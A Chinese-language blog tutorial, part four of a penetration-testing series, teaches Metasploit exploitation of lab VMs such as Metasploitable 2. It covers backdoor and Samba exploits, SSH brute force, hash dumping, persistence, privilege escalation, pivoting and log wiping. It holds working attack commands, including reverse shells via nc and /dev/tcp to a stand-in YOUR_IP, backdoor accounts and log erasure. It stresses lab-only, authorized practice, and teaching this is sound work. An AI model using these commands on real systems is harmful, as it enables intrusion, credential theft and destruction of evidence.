菜单
关于 服务 历程 与我合作
Cybersecurity concept visualization
Security 2026年3月8日 • 28分钟阅读

漏洞利用:从漏洞到Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

分享:
Lee Foropoulos

Lee Foropoulos

28分钟阅读

黑客之路:5部分系列

第1部分:入门第2部分:Flipper精通第3部分:Kali基础第4部分:漏洞利用第5部分:完整审计

在第1-3部分,你构建了自己的工具包。你能克隆门禁卡、映射网络、捕获握手包,并识别目标上运行的每个服务。现在你到处都能看到漏洞。但发现漏洞和利用漏洞是完全不同的技能。

这里才是真正的开始。今天你将学习使用Metasploit Framework,全球专业渗透测试人员使用的同一工具。你将利用你的第一个漏洞,建立持久化,提升权限,并学习在网络中进行横向移动。

不可逾越的底线

本文中的所有内容必须在你拥有的系统或者有明确书面授权测试的系统上进行练习。未经授权访问计算机系统是联邦犯罪,最高可判处20年监禁。"我只是在学习"不是有效的辩护理由。搭建实验室,使用故意存在漏洞的虚拟机,永远不要触碰不属于你的系统。

第1部分:搭建攻击实验室

在利用任何漏洞之前,你需要目标。真正的渗透测试人员使用带有故意存在漏洞的机器的隔离实验室环境。你也要这样做。

基本实验室配置

你需要什么

  • Kali Linux VM - 你的攻击机器(来自第3部分
  • Metasploitable 2 - 故意存在漏洞的Linux VM(SourceForge
  • Metasploitable 3 - 存在漏洞的Windows/Linux VM(GitHub
  • DVWA - Damn Vulnerable Web Application(GitHub
  • VulnHub VMs - CTF风格的漏洞机器(vulnhub.com

项目:实验室网络配置

时间: 45分钟

  1. 从SourceForge下载Metasploitable 2
  2. 导入VirtualBox/VMware
  3. 配置网络:将Kali和Metasploitable都设为"Host-Only"或"Internal Network"
  4. 启动Metasploitable(默认登录:msfadmin / msfadmin
  5. 记下IP地址:ifconfig
  6. 从Kali验证连通性:ping METASPLOITABLE_IP
  7. 运行初始扫描:sudo nmap -sV -sC METASPLOITABLE_IP

验证: 你应该看到数十个开放端口。Metasploitable就是为被入侵而设计的。

你对Metasploitable的nmap扫描应该会显示FTP、SSH、Telnet、SMTP、HTTP、Samba、MySQL、PostgreSQL等服务,其中许多运行着过时的、存在漏洞的版本。这就是你的练兵场。

第2部分:Metasploit Framework基础

Metasploit不仅仅是一个工具。它是一个完整的生态系统。它包含数千个exploits、payloads、辅助模块和后渗透工具。理解它的结构至关重要。

4,000+
Metasploit Framework中可用的exploit模块,涵盖所有主要平台和漏洞类别。

启动Metasploit

bash# Initialize the database (first time only)
sudo msfdb init

# Start Metasploit console
msfconsole

# You'll see the Metasploit banner and prompt:
msf6 >

Metasploit的结构

Metasploit将所有内容组织成模块:

  • Exploits - 利用漏洞的代码
  • Payloads - 漏洞利用后执行的代码(shells、meterpreter)
  • Auxiliary - 扫描器、模糊测试器和其他实用工具
  • Post - 用于持久化、横向移动的后渗透模块
  • Encoders - 混淆payload以规避检测
bash# Search for modules
msf6 > search type:exploit platform:linux smb

# Search by CVE
msf6 > search cve:2017-0144

# Search by name
msf6 > search vsftpd

# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

漏洞利用工作流程

Metasploit中的每次漏洞利用都遵循相同的模式:

  1. 选择一个exploit - use exploit/path/to/module
  2. 设置选项 - 目标IP、端口、凭据
  3. 选择一个payload - 漏洞利用后运行什么
  4. 执行 - exploitrun
Cybersecurity operations with code on multiple screens
Metasploit Framework为漏洞利用提供了结构化方法,将漏洞研究转化为可重复的专业工作流程。

第3部分:你的第一个Exploit

让我们利用历史上最著名的后门之一:vsftpd 2.3.4后门。2011年,有人在vsftpd源代码中植入了后门。如果你发送以:)结尾的用户名,就会在端口6200打开一个shell。

Metasploitable 2恰好运行这个版本。

bash# Start Metasploit
msfconsole

# Search for the exploit
msf6 > search vsftpd

# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101

# Run the exploit
msf6 exploit(...) > exploit

# If successful:
[*] Command shell session 1 opened
[+] Got shell!

# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)

就这么简单。一个有漏洞的服务,一个exploit,root权限。这就是为什么保持软件更新如此重要。

一个有漏洞的服务,一个exploit,root权限。这就是为什么保持软件更新如此重要。

项目:利用vsftpd后门

时间: 15分钟

前置条件: Metasploitable 2正在运行,Kali在同一网络

  1. 验证FTP正在运行:nmap -sV -p 21 TARGET_IP
  2. 启动msfconsole
  3. 搜索、选择并配置vsftpd exploit
  4. 运行exploit
  5. 获得shell后探索:cat /etc/shadow

成功标准: 你能读取/etc/shadow,这是只有root才能访问的文件。

第4部分:理解Payloads

Payload是exploit成功后运行的内容。我们上面获得的基本shell很简单,但Metasploit提供了更强大的选项。

Payload类型

  • Singles - 独立的、一次性payload(添加用户、运行命令)
  • Stagers - 建立连接的小型payload,然后下载主payload
  • Stages - stager下载的主payload(Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads

# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcp

Reverse与Bind Shell

  • Reverse shell - 目标回连到你。更适合绕过防火墙(出站通常被允许)。
  • Bind shell - 目标打开一个端口供你连接。更容易被检测,经常被防火墙阻止。
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444

# Metasploit starts a listener automatically when you exploit

Meterpreter:终极Payload

Meterpreter是Metasploit最强大的payload。它完全在内存中运行(磁盘上没有文件),提供加密通信,并包含数十个用于后渗透的内置命令。

bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo          # System information
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List files
meterpreter > download file    # Download file to Kali
meterpreter > upload file      # Upload file to target
meterpreter > shell            # Drop to system shell
meterpreter > hashdump         # Dump password hashes
meterpreter > screenshot       # Take screenshot
meterpreter > keyscan_start    # Start keylogger
meterpreter > keyscan_dump     # Dump keystrokes
meterpreter > background       # Background this session

第5部分:更多Exploitation技术

利用Samba(SMB)

Metasploitable 2运行着存在漏洞的Samba版本。这类似于WannaCry中使用的臭名昭著的EternalBlue exploit。

bash# Search for Samba exploits
msf6 > search type:exploit samba

# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

利用弱凭据

不是每次入侵都需要软件漏洞。弱密码无处不在。

bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run

# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Web应用程序Exploitation

Metasploitable包含多个存在漏洞的Web应用程序。让我们利用一个PHP代码注入。

bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)

# Use Metasploit's web exploits
msf6 > search type:exploit php

# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444

项目:利用三个不同的服务

时间: 60分钟

目标: Metasploitable 2

  1. 利用vsftpd后门(FTP - 端口21)获取root shell
  2. 利用Samba usermap_script(SMB - 端口139/445)获取root shell
  3. 使用auxiliary/scanner/ssh/ssh_login破解SSH凭据
  4. 记录每次exploitation:使用的模块、设置的选项、结果

附加挑战: 探索端口80上的Web应用程序,找到手动exploitation向量。

第6部分:后渗透

获取shell只是开始。真正的渗透测试需要证明攻击者利用该访问权限能做什么。这就是后渗透。

信息收集

text# From a Meterpreter session
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux

# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arp
bash# From a regular shell
cat /etc/passwd       # All users
cat /etc/shadow       # Password hashes (requires root)
cat /etc/hosts        # Network mappings
netstat -tulpn        # Open ports
ps aux                # Running processes
crontab -l            # Scheduled tasks

凭据收集

text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash# Or from shell
cat /etc/shadow

# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

建立持久化

持久化意味着即使在重启后或初始exploit向量被修补后仍保持访问权限。

bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker

# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys

# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

持久化 = 证据

每种持久化机制都会留下痕迹。在真正的渗透测试中,你记录你能做什么,然后清理。在客户系统上留下后门是不专业的,可能还是违法的。在你的实验室里尽情操作,但要理解其含义。

第7部分:权限提升

通常你以低权限用户身份获得初始访问。提升到root/admin通常是实现测试目标所必需的。

Linux权限提升

bash# Current user context
id
whoami

# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version (for kernel exploits)
uname -a

# Running processes as root
ps aux | grep root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

自动化枚举脚本

bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000

# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitable

常见Linux Privesc向量

bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell

# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;

# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shell

Windows权限提升

如果你在测试Windows目标(Metasploitable 3),技术有所不同:

text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user

meterpreter > getsystem
[+] ...got SYSTEM

# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester

# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploit

项目:从普通用户提升到Root

时间: 45分钟

场景: 你拥有以msfadmin(非root)身份访问Metasploitable的SSH权限

  1. SSH连接到Metasploitable:ssh msfadmin@TARGET
  2. 运行id确认你不是root
  3. 检查sudo权限:sudo -l
  4. 查找SUID二进制文件:find / -perm -4000 2>/dev/null
  5. 上传并运行LinPEAS
  6. 识别一个privesc向量并利用它

目标: 使用网络服务exploitation以外的方法获取root shell。

Hacker working on code in a dark environment
权限提升将有限的访问权限转变为对系统的完全控制,通常是通过被忽视的配置错误而非复杂的exploit来实现的。

第8部分:Pivoting

Pivoting是使用已被入侵的系统来攻击从你的攻击机器无法直接访问的其他系统。这就是攻击者在网络中横向移动的方式。

Pivot场景

想象这个网络:

  • 你的Kali:192.168.1.100
  • 被入侵的主机:192.168.1.50(同时连接到内部网络10.0.0.0/24)
  • 目标:10.0.0.10(只能从192.168.1.50访问)

你无法直接到达10.0.0.10。但通过被入侵的主机,你可以。

Metasploit路由

text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50

meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1

meterpreter > background

# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print

# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run

# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploit

用SOCKS代理获取完全访问

bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run

# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080

# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]

SSH隧道(不使用Metasploit)

bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host

# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80

# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444

第9部分:清除痕迹

专业的渗透测试人员记录他们的访问但会在之后清理。理解攻击者如何清除痕迹也有助于检测入侵。

bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp

# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log

# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file

# Meterpreter
meterpreter > clearev          # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"

在真实项目中:不要这样做

专业渗透测试人员记录他们的访问并报告他们的发现。他们不会隐藏。清除日志会破坏防御者理解攻击路径所需的证据。只在你的隔离实验室环境中练习这些技术。

黑客之路

5部分系列,带你从好奇到有能力。

第1部分:入门 第2部分:Flipper精通 第3部分:Kali基础 第4部分:漏洞利用 ✓ 第5部分:完整审计

第4部分检查清单

☐ 实验室配置: Metasploitable 2运行中,隔离网络已配置

☐ Metasploit: 数据库已初始化,基本导航已掌握

☐ 第一个Exploit: vsftpd后门已利用,获得root shell

☐ 多个向量: FTP、SMB已利用,SSH凭据已破解

☐ 后渗透: 密码哈希已提取,系统已枚举

☐ 权限提升: 不使用网络exploit从普通用户提升到root

☐ Pivoting: 理解autoroute和SOCKS代理概念

☐ 文档记录: 所有exploit已记录,包含步骤和证据

Exploitation技能行动计划 0/5

接下来

你学会了利用漏洞、提升权限和在网络中进行横向移动。你看到了单个弱点如何迅速变成全面入侵。你理解了专业渗透测试人员的工作内容。

在第5部分,我们将所有内容整合在一起。你将从头到尾进行一次完整的安全审计

  • 范围界定和参与规则
  • 完整的侦察方法论
  • 系统化的exploitation
  • 全面的后渗透
  • 专业报告
  • 修复建议

第5部分是系列的巅峰。你在整个系列中学到的所有内容将汇聚成一套真实世界的方法论,你可以用它来评估任何获得授权测试的网络的安全性。

你学会了技术。现在你要学习方法论。第5部分将技能转化为完整的渗透测试工作流程。

第5部分见。

How was this article?

分享

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Bu cuoguo renhe wenzhang

Xin wenzhang fabu shi huoqu tongzhi. Wu xu dianzi youjian.

You xinwenzhang shi ninjianghui kandao wangzhan banner he liulanqi tongzhi (xu yunxu).

Jin liulanqi tongzhi. Wu laji youjian.